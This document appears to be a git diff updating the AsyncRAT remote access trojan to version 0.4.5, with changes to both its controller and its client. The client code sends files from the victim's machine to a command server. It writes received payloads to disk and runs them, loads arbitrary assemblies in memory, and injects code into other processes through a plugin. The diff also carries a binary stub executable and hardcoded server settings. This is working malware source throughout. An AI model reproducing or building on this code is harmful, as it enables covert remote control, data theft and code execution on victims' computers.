zx903#AJXA$QTb^>SYG9KCcLVWr|eIFLPg00P7sd>}{@-nDtALPi;BC$(J(Gs$Uvb-6LC>&uaYlh1&9nRB> zib07rOV27e8cm@erqE`3wyi>(H*yw}MIY^DA1&Wu_eb(zf6Ka&TdsHeJ0(2o;CIqi z9vQ_ z(H@-J&~n>h@#7nFc>XPt`#zMv)3&$D+YjC#>dN`u1k$iaxAGeizX$e^pW#8-;ci3C z`+>c5m(bk@U(jVY;@L0lqC@6$*1k@@Iv!^e+wC-T?%*$G8d2ofht}-|eI3Te2&i`a z2mk7e`RkOHVlKH9;W_(=2)z_NneEJee+@n>bd6G(K9so=e=P0!V?7tOoU=Lonsl4Y zs4lj6ZAXo}WyVoBcFmqasPkqT%tckdQo5>a);zL;VX2kuh4$E0wi7KijP@d5m2p;a z3n-3-s;me4GKpHV->T|DSFJs};p#=!kX}79D;LJ*1AmH9g=N>hjTRz}IY1QU=1ND8 zGmu5uHk1^fM35S)1=^MGgSz(0UyD#2$<^EOv5V``NVw(%lY`G`z#yzem2X25TQT*> zqDcfqjuiPt0=Z!7%A;BLTldq2Xj1#bc-cr6-r1C%6* z^ln38cf&skrEN#Pjdr+%7{NxUE7Q9Hjl<`5q|ES5NdL8#W2fXZDdkU~{5K%YMtt*% z!$~hnNQ2*mI_*R`ccCtLp&8s;5bk=roTDO*JyO5hq#X4S*B}=E`!EIUfEu@>9+U^= zvj_1HB8Oe@zgFt6<;M8eqLHpc%{!1ozsN_IXD8CT4l(M0yOGX?((6W;El6`1Ari>h zNv9X`+=UY2_ZU!zd^(gb<;8rp+}TdIpxpfC7t2dG2aMfl%>>feh4AdUlQYV;xUk!a9!E{%f?yIQfKkPQn-k9b@_IQ;)pF>io*HPE z6JNWwA}&oCT#NN|m&2)^JkMSdsqQuChn!^TsqIzh-89!0VgSX2vBWW*pkYS!v|UveE~#>h7Z-ja)xRGp zaGQb@w<16_Mj@XTOzmh%wnDBQ(5ma8ab1vfHzc(KJ-81&b0_-fZuI9p&^T4YZ2(RX zIXPr)xiPvLe~#Q#XjzWdZJ;XioDOI>mui?yZ)JSF0Hl55WQfyg4kP)EK)p4`g&`-Z z&R#I{ro5(56SbOB*2~IQi;vJdIk4(&IkqczoC`M*xc$Ths@?`>i?Bq_6jU!fS@#IO z65NHJ*n%ZEQpIlov0f|{2Ssj5$QG3ge&tTfC6F2>Wt$n2_2v>chS;TzBTM?{n7-yfyT6@m2irq^qbxc_M}pD)SkL z#eZOtZ5CICeXa^sVN{sz2)@-wFbJkAq6~k;W!RpKSn4(M!HX)xmGH#RJ!!%lF-?S3 zns4X_5;e?4$lF)Jts`H+i=s%1$gqMDzzvuc1{^-+3WTcz)r;IKSP+0gFs09B2)FTJhTE$At`({Te~a+vL-wH{Qcg(xh~P5RQ^I@jTvX+wD_R|DERDFsT|$L- zu);>TORxJaH z>k6;nfB4{ccn|+84H_&U_=Gt5W5n3qb^m`zl z2!1;(qRI`Ct|dh&67&~&U943}gpy-U5o#D1>RG+0L%U7gKKAB3j$E%F+ z^kL`#_QhK0h{!%aF}M1X%_j>nvEzf`+&jj zc$=w)TX+`X0+LS z{b;+&ySyBg47d7z+7Z-zHRiq5~`SHnkJoNv5 zW!esO5_V-)q?jE55wuqLe8olc5SrhvS0xdZqe~Gq=kVt!pKjmjd!ZbN2JKmqkAr%7 zD5j<%Z{s496|pN(?vX|ex0Q?Lgc>P%_yI_>?NA3QFaG!-VTPLIDWLhe+Dd)VkAtR1 znSn*paj9CWxj6`S5^)*g3Jc=`eAWT?rb6lmR^J^kK#TM)&*@bulbn!5J!aXo&(8^%A$L}?n2{;r+xJRp5s4?QL zV5*L+MXQiSKG{pW0lRcQk$Z7@iO3uPVU(2xB5v(Z`@7la_M)ny14n$wiX|1j!snv5 zc~|A?Y$rLp!nxYMN=@f^{pjfse6lA5Ebz93|3fXj6hZKz?kle?Ze!djgOpGK9H9UL0P;@I+kl@Oiy% zf3+Xggc0@o%PHr)4*Nn%tB$Q-u>4hCtz2gCKpS=<=|k^8eG2G_8$t1CX2FD=`r`phE=_ z41Y+OGOnWR8QS2OBm|ySz7nq}Q+NzK-BZTOmAg7TX6J+Pz0wO=mzK^0Q*0A_5ZIq{ z>pH-9zVhUlPIL}HD<~^~#g4kUID)}d|D*OiOE^pTDd9Ph;q-IGMeH=w&w9Nkl&#u> z0SvPQghV*47Hu+dXbXm;7|{{*EJq~9ISWH%1_B5LI)G5@V$~F_%sQZTP%egd-~HSZ zH@d4Z44|!0$8x_P))`|w#N&c}Dfjq`KvY%Xmq6i$slfmej%Y-ZzEG459MdJuTnMBPZ49130#g0?uL#tO6p`caLiP7X3+R$`C%yRfK zakra*pQBN3uoOzm5t!2oJP`Uy?_#tJc=LSHRMjBibKXB;c)WI)Qssf5&Y^dog9MQ` zLKiE@YWf^m{)pR21KKEwRe8fq5hj7@Ys&A30NH@=hP4B-igchUs;WGkRv=L~dKre) z>30_^5A77m0JRJMs>BvyFf`ExgS4iuMP?P$evye08UeIF)q_R|zqJJEO~0F2-lZdf zhJ_qyeYIRN?z z><#qDe!AaTffcQ{JZ#z1Kh706Zm_HAVj~tO$28ahua^QfeO{RS={t**3AgVuZ?GVG zvB(t(aPXn>mNSwxrjEsGzf&arPAzG91jB8w_f{{0U4XB28)qQFNRl7u!qfLdgiUM< zT}~-uxDEBecr|_ha&H;YW+e9h>baoV#;=(^k zvW<;7(}6LeRM;|+@`by+=s@9_F64`nclo?-46@K3bOTJ-W_H5rho?`GgRw%l=1dbi zG1Em?0s2^Rw+}UT`BX9fOkph~qE7e;VR2VeOnZhFe(MZ=-Qb*wiHf zLKy*~HcB{}D~z=SdKJ^Fm|n%&tBhV{0W?jS&x-;4+hC&+IEr|}GgD<~>_BK{CN%So z(9B`lC%VeKtTz6y4g_E-6{~+PG;^nv{%+#T6uN#XWv5K`H#|7W!lOh#Fomb9m=BJE zr?8GklYIk-LWsV^FgyhCSB$?h>2coxva()|5!hM4dX|9S8RJi01u$5$Suv-A15+zF zFpNR1q!m5j!f7`yW@mI&+uSnk3BizS>PLxw6qkD`3M3MqY4hPvM&g+^>eLa@m?K&p z7eTD>4g?{dnR~-C$HFuBg=dZjq-rzAq*C_@9!C={VtZ7fpI{IPnoR7|(pesmByV0+ z;zj$~+KJ$z@{qO{`fmn;7&kDH(d9uJY?d#JHXo@DKsjKKXO0B0v{cp1#;h_-C>0wG z>K>kX4Apo{SK~2CeCBaXg0(LLAcX+BkBsVpfLFQMlXX{qg2NH!Dl<<|)YSp@(Kh@y zbGigO9Mgv}?9DujQ67??J}mM$4dGyJ5-4R~!z`3~Q!G+A%V43IpJLYsYJkdO;yv>m zCit8^1Hoi<LwY$BPuwvrGqLjjX`$7K#1R-g>||z+k@<1$;p#{t{>FGbrB+rCtmi zrviSd3rZH6`8`F0g((Yr$iu`r$b-V=8}!NWOpvu>v+GUdgNjOc{VUu9InWMN_gd&mTeBOX}Lsw%yYR2A-G`R5gL@~D;M zb>3p6ul2Gre5efT2%ihWupemfHfX@zWkK#&V5NE)ENk3@Ny4GZa)e)Kg0RD05;Ul-n3WTD2W)@jJ|8MNQyB&soR8zgkiYNo=6 zmdkwn&}vLM7cHumQQ%O$*zQBi1L$Zzr^`s_Mz-RiM)V6>!$Vk!%TPqCcLY{hdJo4y zpO_jx7=AOBeF$+Hr3oKub)P;)g;IJ7wv=cfFgkXdtS?ON$F+5X`xioBqi;GGyNC&VtN8{KGV9tleX*n?F`NFi`cZUy6h7V1J z551Yjks=BmI;ku2}D7bS=83>~`r5-5*Ef%fSbh|7qwcEfBBBepn-LNl8%n$0v* z-Ptqz0S=$6iRlnxuEK}zE29NFRO7>6_|S3oiqmIXnDqOd=Z3)4Yj zm=qugRioN7U%5cpq3s8XTE={j!)Fl#+6`qQ8lCtb#SI-gsgqe0KJ;buXJ3%Z589c> z0{T>?);?zmti{H@^M@b*Gq`1rf0r4sLjC6a-FOimA8^fm^93*X;H5-vmZHU;MsRGX z;h#r#?ib)!*>WGSjC}QYB+^h-e9-ZxX7NwcFeJb079xWq)O5^Zs?U zb*u2&=Lp`Q-mKr)Kp6t_av}NsRs8x9-!xv#BqBMV$hwG*5V7M=f2`J+e*1av8Pwvd z2jg-108ysadHEpE%e^$ZD&qV^$*PD`IFyb5t%}&6k=dNICh;ky#HvUSKGhr_!mB3z z_%Vor0#--Gua zW+zW&QaD4L%V)T0!mNKf{MZ~XEw(pdl)9tYRL|$d1bQ7(*rob#fpeGQHK9J76Y{#$ z0G``%a@Z|7eA)dkf6%{b<}`tR;)0I+a|0b8o26QXw+m-r_{0TH!Fa05(>b}I48LWH zvGjQ(PYm_xseN5W68W6F6J<3}CSI!IIUqiFIVYtR5~dDkp87vtUPgz(?~YO)`c#*v zfV`T8b4mHPq`;5YyOKC-bS@FuL2%WT@tyoykwW41$-;6fX!FrgB zy4;_F74aiHrNQe!X*_v7IbQ*?p+u6K` zI<6x4uL1ej^90?lS3aG&C%%r96i%aA&TcyowgAiN$b>FRR!Iw;UtTR^eYJ{b^t|en zuOTAgAAbjxzq-mRb55A^rFXvU_*RY|l4Phok5Q@?ufYVqFPVyd4PDCxgE@|8{3 z92`$X@SY_7%YxY;gGUK)T>z72v?T-~Ywo&p!Vv$HL zu?~EhIg1y+W|fHsbV(!$^SyaV*Hpo0+-mVA;*vEwg=~5mlWGM2^6A*G`=yfdyGs%I?BwPpF?`R6KOK->5}Axg zhxmP@%}Yk`c?rv|lq9m|0;O?^zGhb0H?7GD0Rc9xaastslmEy3t26P7ib{QM^Z%F< M{r?5||4;(|F9^eK#{d8T literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config new file mode 100644 index 0000000..e2a5a18 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Stub.exe.config @@ -0,0 +1,3 @@ + + + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png new file mode 100644 index 0000000000000000000000000000000000000000..2834f82bf26437c8c35dfae76c4e6839f58e4539 GIT binary patch literal 953 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE0wix1Z>k4UEa{HEjtmSN`?>!lvVtU&J%W50 z7^>757#dm_7=8hT8eT9klo~KFyh>nTu$sZZAYL$MSD+10f+@+{-GzZ+Rj;xUkjGiz z5n0T@z;^_M8K-LVNdpDhOFVsD*&nmAvN5sMJYqi$)YR_j;uzv_eClQIjF51d;~&q* zELV0r5+k~61LMrr5M3@ig-dg{9qZ`tdUPmc6?dnbpt;b5N6QpMT<&me{k_IHnq}*? zTX|bLJRQ|;U1RapwP169p6GR{vC#1P%QGpTX55dwbNc_EbJPDnmPxzBDXjJ-BkJ?w z_YJk*cE*d(4ZWSpn^k^dN9wf7$HlXGPraIR`eRt6^_*|FWOpBwE8kOgi!XBR*KZcn zq5?%FCtiLu$(v)%5&nJ5zn>n>S@Fs4<0NISw$)+N_sTUp{|gNGaK`b&jr3hvdsy2& zZ}_}Hm<^d z`JUUmJ}#c*dA!vt^}vL;2@4l7-`e0QwPqvRl3bVB%w1w`o27)bjxL^Z%t66Gsdopb zfSaXHmvXL)0z>k9FFj7)@T%&2E9R8xehU42PbIyv%+h~uf08uM|M)`%XA7#nF1|kh zT2tx2BDTL(t7D8A>^_PZ#%pSzf#IZ!{{PNKDzEf{sPwaZNo{8m^sMoIS ze#Y8K>vrp{Jl}BlotN3ZQ(LQEPKkdycVfwH_8&)C!(%s|(449HkIi<0FLy;kw{Fk^ z*XUk#t;8(059MFpez(dG%3 zR%2YvGtE-fTckAdj*7x+|CnVw6;}^zIAGZMqW+TkzuX6$sgJrY`zR?!vU-@X91%^< zlPul(Qf%7R%b#X^pSyWeUh>`^_0o-^(Tm-t@BH&L&X1I5RK+NdA;p5 zqk64wa?z|Q!cKej{P{ah-xS-s@7S*srrn~;Z}Z&=o|XDHtorYLrncT2?2Dg#eFIFT zswJ)wB`Jv|saDBFsX&Us$iUE2*T58rLJUl-42-M{%(OwI!Q2q8ohTY|^HVa@DsgLg z!?_8Rtt3G<1m~xflqVLYGL)B>>t*I;7bhncr0V4trO$q6BL!5%;OXk;vd$@?2>`4s Bkb(dJ literal 0 HcmV?d00001 diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 994a6fc..5a4778e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp public static string Password { get; set; } public static Aes256 AES{ get; set; } - public static readonly string Version = "AsyncRAT 0.4.4"; + public static readonly string Version = "AsyncRAT 0.4.5"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index f6aec52..85372f7 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -8,10 +8,11 @@ using System.Drawing; using System.Diagnostics; using System.Threading; using AsyncRAT_Sharp.MessagePack; +using System.Text; namespace AsyncRAT_Sharp.Sockets { - public class Clients + public class Clients { public Socket ClientSocket { get; set; } public ListViewItem LV { get; set; } @@ -67,17 +68,7 @@ namespace AsyncRAT_Sharp.Sockets BytesRecevied += Recevied; if (ClientMS.Length == ClientBuffersize) { - try - { - ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this }); - } - catch (CryptographicException) - { - new HandleLogs().Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); - Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); - Disconnected(); - return; - } + ThreadPool.QueueUserWorkItem(Packet.Read, new object[] {ClientMS.ToArray(), this }); ClientBuffer = new byte[4]; ClientMS.Dispose(); ClientMS = new MemoryStream(); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index bf93c23..0980860 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -58,39 +58,46 @@ namespace AsyncRAT_Sharp.Sockets private bool IsDublicated(Socket socket) { - if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) + try { - return true; - } - - int count = 0; - foreach (Clients client in Settings.Online.ToList()) - { - if (client.LV != null) + if (Settings.Blocked.Contains(socket.RemoteEndPoint.ToString().Split(':')[0])) { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) - count++; + return true; } - } - if (count > 4) - { - Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); - new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); + int count = 0; foreach (Clients client in Settings.Online.ToList()) { - if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) + if (client.LV != null) { - try - { - client.Disconnected(); - } - catch { } + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0]) + count++; } } - return true; + + if (count > 3) + { + Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); + new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); + foreach (Clients client in Settings.Online.ToList()) + { + if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) + { + try + { + client.Disconnected(); + } + catch { } + } + } + return true; + } + return false; + } + catch + { + return false; } - return false; } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index 48f12de..a254c89 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -105,8 +105,7 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("Command").AsString = "pre"; msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("File").AsString = file; - long Length = new FileInfo(file).Length; - msgpack.ForcePathObject("Size").AsString = Length.ToString(); + msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); ChunkSend(Settings.aes256.Encrypt(msgpack.Encode2Bytes()), Client); @@ -115,11 +114,11 @@ namespace Client.Handle_Packet msgpack2.ForcePathObject("Command").AsString = "save"; msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); - msgpack2.ForcePathObject("File").LoadFileAsBytes(file); + msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file)); ChunkSend(Settings.aes256.Encrypt(msgpack2.Encode2Bytes()), Client); Client.Shutdown(SocketShutdown.Both); - Client.Close(); + Client.Dispose(); } catch { @@ -149,7 +148,7 @@ namespace Client.Handle_Packet SendPackage = client.Send(chunk); } while (bytesToRead > 0); - binaryReader.Close(); + binaryReader.Dispose(); } } catch diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs index 04d8846..2fdfb8f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -12,45 +12,53 @@ namespace Client.Handle_Packet { public void SendToDisk(MsgPack unpack_msgpack) { - string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - Process.Start(fullPath); - if (unpack_msgpack.ForcePathObject("Update").AsString == "true") + try { - new HandleUninstall(); + string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; + unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); + Process.Start(fullPath); + if (unpack_msgpack.ForcePathObject("Update").AsString == "true") + { + new HandleUninstall(); + } } + catch { } } public void SendToMemory(MsgPack unpack_msgpack) { - byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); - string injection = unpack_msgpack.ForcePathObject("Inject").AsString; - byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); - if (injection.Length == 0) + try { - new Thread(delegate () + byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); + string injection = unpack_msgpack.ForcePathObject("Inject").AsString; + byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); + if (injection.Length == 0) { - Assembly loader = Assembly.Load(buffer); - object[] parm = null; - if (loader.EntryPoint.GetParameters().Length > 0) + new Thread(delegate () { - parm = new object[] { new string[] { null } }; - } - loader.EntryPoint.Invoke(null, parm); - }) - { IsBackground = true }.Start(); + Assembly loader = Assembly.Load(buffer); + object[] parm = null; + if (loader.EntryPoint.GetParameters().Length > 0) + { + parm = new object[] { new string[] { null } }; + } + loader.EntryPoint.Invoke(null, parm); + }) + { IsBackground = true }.Start(); - } - else - { - new Thread(delegate () + } + else { - Assembly loader = Assembly.Load(plugin); - MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); - meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) }); - }) - { IsBackground = true }.Start(); + new Thread(delegate () + { + Assembly loader = Assembly.Load(plugin); + MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); + meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) }); + }) + { IsBackground = true }.Start(); + } } + catch { } } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 5d974d9..9b169ac 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -4,6 +4,7 @@ using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; +using System.Text; using System.Threading; using System.Windows.Forms; @@ -11,12 +12,13 @@ namespace Client.Handle_Packet { public static class Packet { + public static bool KeyRecevied = false; public static void Read(object data) { try { MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes((byte[])data); + unpack_msgpack.DecodeFromBytes(Settings.aes256.Decrypt((byte[])data)); switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "sendMessage": diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 077ba64..c2bde59 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,10 +8,10 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4.4"; + public static readonly string Version = "AsyncRAT 0.4.5"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); - public static string Password = "NYAN CAT"; + public static readonly string Password = "NYAN CAT"; public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; public static readonly string Anti = "%Anti%"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index 23c6779..265a61c 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -7,6 +7,7 @@ using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Threading; +using System.Text; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -30,7 +31,7 @@ namespace Client.Sockets private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); - public static void InitializeClient() + public static void InitializeClient() { try { @@ -48,7 +49,6 @@ namespace Client.Sockets Buffer = new byte[4]; BufferRecevied = false; MS = new MemoryStream(); - TheCPUCounter.NextValue(); BeginSend(SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); @@ -65,6 +65,7 @@ namespace Client.Sockets try { + Packet.KeyRecevied = false; Tick?.Dispose(); Client?.Dispose(); MS?.Dispose(); @@ -75,7 +76,7 @@ namespace Client.Sockets } } - private static byte[] SendInfo() + public static byte[] SendInfo() { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; @@ -85,6 +86,7 @@ namespace Client.Sockets Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; + TheCPUCounter.NextValue(); msgpack.ForcePathObject("Performance").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; return msgpack.Encode2Bytes(); } @@ -120,7 +122,7 @@ namespace Client.Sockets MS.Write(Buffer, 0, recevied); if (MS.Length == Buffersize) { - ThreadPool.QueueUserWorkItem(Packet.Read, Settings.aes256.Decrypt(MS.ToArray())); + ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream();